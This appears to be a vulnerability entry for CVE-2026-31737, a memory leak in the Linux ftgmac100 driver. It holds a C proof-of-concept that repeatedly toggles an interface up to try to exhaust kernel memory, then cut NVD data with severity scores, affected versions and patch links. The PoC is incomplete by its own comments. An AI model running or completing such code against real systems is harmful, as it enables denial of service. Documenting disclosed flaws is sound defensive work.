CVE-2026-31737

/* * PoC for CVE-2026-31737: Kernel Memory Leak in ftgmac100 * Description: This code attempts to repeatedly trigger network interface * operations to exhaust kernel memory by exploiting the allocation failure leak. * Note: Requires hardware with ftgmac100 driver (e.g., ASPEED SoC). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <sys/ioctl.h> #include <errno.h> #define IFACE "eth0" // Replace with actual ftgmac100 interface name int main() { int sock, i; struct ifreq ifr; printf("Starting PoC for CVE-2026-31737...\n"); for (i = 0; i < 10000; i++) { sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); continue; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, IFACE, IFNAMSIZ); // Attempt to bring interface up/down to trigger allocation paths // In a real exploit, specific memory pressure conditions would be applied // to force ftgmac100_alloc_rings to fail midway. ifr.ifr_flags = IFF_UP; if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) { // The goal is to trigger the internal driver open/close paths } close(sock); if (i % 100 == 0) { printf("Iteration %d: Triggering potential leak...\n", i); } } printf("PoC execution completed.\n"); return 0; }

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This\nmatches common netdev allocation cleanup style."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.12", "versionEndExcluding": "5.10.253", "matchCriteriaId": "C7307BD3-C434-4557-91D2-ADE06A1D3C6F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/184b3a500d60ea48d1b176103cff1706c456edf3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/78da43320d9d6ed788147fb085184e4fc801f057", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/82f86111f0704ab2ded11a2033bc6cf0be3e09ea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8351d18989c8642fc53e2e12d94e42314a39b078", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8a71911fc7eeea930153322bc1efc065db8cd97e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a7e1bf392acf11dc4209820fef75758f6e42bd65", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c0fd0fe745f5e8c568d898cd1513d0083e46204a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d45230081f19c280096241353c26b0de457de795", "source": "416baa ... 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